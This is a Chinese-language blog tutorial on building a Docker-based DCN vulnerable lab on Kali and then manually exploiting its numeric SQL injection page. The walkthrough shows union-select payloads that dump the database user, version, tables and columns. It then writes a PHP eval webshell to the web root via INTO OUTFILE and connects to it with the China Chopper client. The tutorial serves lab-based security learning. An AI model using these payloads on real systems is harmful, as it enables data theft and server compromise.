搭建DCN漏洞靶机及简单的SQL手工注入(一)

admin 2022年2月25日02:01:45评论127 views字数 4211阅读14分2秒阅读模式

搭建DCN漏洞靶机及简单的SQL手工注入(一)

前言

很多同学都有所发觉,我们在实际学习中,经常需要模拟不同的漏洞环境 如果使用外网服务器的话,多多少少又存在一些风险,因此能搭建一个本地的模拟环境去测试漏洞是一个不错的方案。


Docker是近几年来十分流行的开源容器引擎,因此也出现了很多使用Docker容器搭建的靶机环境供新手学习和使用。


0x01

前一阵子呢,经常一起搞事的朋友发我一个网盘链接

分享的就是这一份靶机系统。

好了,废话不多说了。。。

首先,我决定在kali中搭建这个DCN靶机系统,进入kali、打开终端、一气呵成~~~

在终端里输入:


apt-get install dockerapt-get install docker.io


PS:如果出现“找不到软件包”错误,请检查你的kali是不是更新过的……

然后启动Docker服务:


service docker start

查看Docker服务运行状态:

service docker status


PS:一般此时的状态会很显眼的显示一个绿色的active(running)】。

然后就是把我们的docker镜像上传到kali里面了,上传工具我一会儿一块放在网盘链接里。

下面导入镜像:

docker load < dcn_web_test.tardocker load < dcn_upload.tar


这里导入的时候可能要花一段时间,可以上个厕所再回来……

接着可以看一下我们的docker 镜像:

docker images


这里我们会发现REPOSITORY 和 TAG下面都显示“<none>”,这里我们来修改一下对应值:

docker tag [你的IMAGE ID] dcn_web_test:V 1.0docker tag [你的IMAGE ID] dcn_upload:V 1.0


完成这些之后,可以启动了!

启动:

docker run -itd -p 8888:80 dcn_web_test:V 1.0


容器运行之后,直接访问kali的IP地址,我的kali地址是192.168.10.100:


http://192.168.10.100:8888/


完了之后可以看到我们的靶机分为七个模块,包含了常见的web漏洞。接下来我要展示的是第一项:SQLi数值型注入。


0x02  示例

目标:获得所有的数据库信息和数据表信息甚至提权、上传一句话木马等。

1)尝试输入数字1,submit提交,有结果输出:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

2)输入数字2,submit提交,有结果输出:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

3)输入数字3,submit提交:

搭建DCN漏洞靶机及简单的SQL手工注入(一)

SQL查询语法正确,但查询结果为空,无内容显示,由此可以判断,该数据表至少存在2行数据,且id为3时,查询结果为空。


4)判断是否存在注入:

输入:3 or 1=1submit

搭建DCN漏洞靶机及简单的SQL手工注入(一)

显示了一行数据,说明存在注入漏洞。另外,通过前面的测试,得知数据表至少存在两行数据,此处注入成功后,查询结果集中,应该存在至少2行数据,但前端页面只显示了一行结果,由此猜测后端php程序对查询结果集的输出做了处理,即只输出查询结果集中的第一行数据发送到前端页面。


5)继续使用order by猜测有多少列

输入:3 or 1=1 order by 1 desc表示对select查询结果集,按照第1列值降序排列,不加desc,默认按升序排列。

搭建DCN漏洞靶机及简单的SQL手工注入(一)

输入:3 or 1=1 order by 4 desc

搭建DCN漏洞靶机及简单的SQL手工注入(一)

有错误提示,第4列不存在 那么继续尝试按第3列排序降序或升序都可以。

搭建DCN漏洞靶机及简单的SQL手工注入(一)

上图有结果显示,说明该数据表一共有3列,后端php程序对输出结果集做了处理,所以前端页面只显示两列数据。另外,需要注意的是,前端页面上显示的列标题,不一定就是数据表真正的列标题。


6)尝试通过union猜测显示的列

输入:1 union select 1,2,3submit提交


搭建DCN漏洞靶机及简单的SQL手工注入(一)

使用union关键字的目的,是为了输出想要的重要信息,但是由于php后端程序的处理,前端页面只显示结果集中的第一行,如果所给的id数字正确,那么union之后的select的结果不会显示在前端页面,那么想要的重要信息也不会显示在前端页面。解决方法有两种:一种是union结合order by,如输入 1 union select 3,2,1 order by 1 desc结果如图:

搭建DCN漏洞靶机及简单的SQL手工注入(一)


第二种是使用错误的id,如id为3,输入 3 union select 1,2,3,结果如下图:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

两种方法都可以显示第二个select的输出结果,综合对比,第二种方法更加简洁一些,且显示输出的分别是第2列和第3列,那么接下来就尝试获取重要信息显示到第2列或第3列。


7)通过union select获取当前数据库用户和版本号,显示在第2列

输入:3 union select 1,user(),3submit提交


搭建DCN漏洞靶机及简单的SQL手工注入(一)

显示的用户是root,即当前php后台程序连接mysql的身份是root

输入3 union select 1,version(),3submit提交。


搭建DCN漏洞靶机及简单的SQL手工注入(一)

上图显示了mysql数据库管理系统的版本号,大于5.0以上,可以直接使用information_schema去“爆库”。


8)通过union select获取当前数据中所有的数据表,显示在第2列一个单元格中

输入:3union select 1,group_concat(table_name),3from information_schema.tables where table_schema=database()submit提

group_concat()函数,将当前列的所有结果连接到一起,放到一个单元格中

information_schema,是系统数据库,类似于SQL Server中的Master数据库,如下图所示:

搭建DCN漏洞靶机及简单的SQL手工注入(一)

information_schema.tables,其中tables是information_schema数据库中的一个数据表,存储了mysql中所有的数据表名称,如下图:


搭建DCN漏洞靶机及简单的SQL手工注入(一)


table_schema,是tables表中的列名称;database()函数,表示当前数据库,如下图:


搭建DCN漏洞靶机及简单的SQL手工注入(一)


Submit提交的结果如下图:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

由图可知,当前数据库包含了两个数据表,分别是“account”和“news”。

9)通过union select获取已知数据表的所有列名称,显示在第2列一个单元格中,例如输入:

3unionselect1,group_concat(column_name),3from information_schema.columns where table_name='account'

3 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'


搭建DCN漏洞靶机及简单的SQL手工注入(一)

搭建DCN漏洞靶机及简单的SQL手工注入(一)

10)通过union select获取已知数据表的已知列的所有内容,显示在第2列和第3列的两个单元格中

例如获取account表格的id列和rest列的所有内容,输入:

3 union select 1,group_concat(id),group_concat(rest) from account


搭建DCN漏洞靶机及简单的SQL手工注入(一)

例如获取account表格的rest列和own列的所有内容,输入:

3 union select 1,group_concat(rest),group_concat(own) from account


搭建DCN漏洞靶机及简单的SQL手工注入(一)

例如获取news表格的id列和title列的所有内容,输入:

3 union select 1,group_concat(id),group_concat(title) from news


搭建DCN漏洞靶机及简单的SQL手工注入(一)

例如获取news表格的title列和content列的所有内容,输入:

3 union select 1,group_concat(title),group_concat(content) from news


搭建DCN漏洞靶机及简单的SQL手工注入(一)


11)尝试通过union select写入一句话木马到站点目录

输入:3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/ttt1.php'

错误提示如下:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

这种错误,一般是由于当前mysql服务的linux用户不具备对该目录的写入权限导致。


如何查看当前mysql服务进程所属用户?

假设可以登录linux控制台,进入docker容器的系统环境:


搭建DCN漏洞靶机及简单的SQL手工注入(一)


输入  ps -aux ,截图如下:


搭建DCN漏洞靶机及简单的SQL手工注入(一)


从图中可以看出,mysql服务进程为mysqld,其用户为mysql。


查看站点目录的权限:

站点目录默认一般为 /var/www/html ,查看html目录的权限如下:

cd /var/www

ls -l -d html ,截图如下:


搭建DCN漏洞靶机及简单的SQL手工注入(一)


html目录为一个链接 真实的站点目录为 /app 继续查看app目录的权限:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

由上图可以看出,/app目录所属的用户和组为www-data,且只有www-data用户具备rwx权限,可以写入文件,而mysql服务进程的用户为mysql,通过select的方式向 /app 目录写入文件失败,没有权限。


假设存在一个站点子目录,任何用户都具备写入权限,那么情况会怎样呢?


搭建DCN漏洞靶机及简单的SQL手工注入(一)


上图:在站点根目录下创建了一个子目录为 test-sql,且修改权限为“777”,既任意用户都具备对该目录的写入权限。


接下来继续测试通过select方式写入一句话木马文件:

输入:3 union select 1,2,'<?php eval($_POST[dcn]);?>' into outfile '/var/www/html/test-sql/ttt1.php'

submit提交,截图如下:


搭建DCN漏洞靶机及简单的SQL手工注入(一)

注意,一句话木马的内容为:<?php eval($_POST[dcn]);?>

在linux控制台中可以看到成功写入的一句话木马php文件:


搭建DCN漏洞靶机及简单的SQL手工注入(一)


12)通过“中国菜刀”连接写入的一句话木马文件


搭建DCN漏洞靶机及简单的SQL手工注入(一)

搭建DCN漏洞靶机及简单的SQL手工注入(一)

搭建DCN漏洞靶机及简单的SQL手工注入(一)

搭建DCN漏洞靶机及简单的SQL手工注入(一)


注意事项:

如果没有提供输入框和submit,那么如何实现注入?

如果是get方式提交请求,那么可以直接在URL中实现注入如

http://192.168.7.61:8888/sql_injection/sql_num.php?id=3+union+select+1%2Cversion%28%29%2C3&submit=submit

直接修改“?”号后面的内容即可,空格符在URL中用“+”号表示,逗号在URL中用“%2C”表示,左括号“(”在URL中用“%28”表示,右括号“)”在URL中用“%29”表示。


搭建DCN漏洞靶机及简单的SQL手工注入(一)


OK啦~ 一次SQL手工注入并连接shell完成^_^

搭建DCN漏洞靶机及简单的SQL手工注入(一)





本文始发于微信公众号(疯猫网络):搭建DCN漏洞靶机及简单的SQL手工注入(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月25日02:01:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   搭建DCN漏洞靶机及简单的SQL手工注入(一)https://cn-sec.com/archives/507130.html

发表评论

匿名网友 填写信息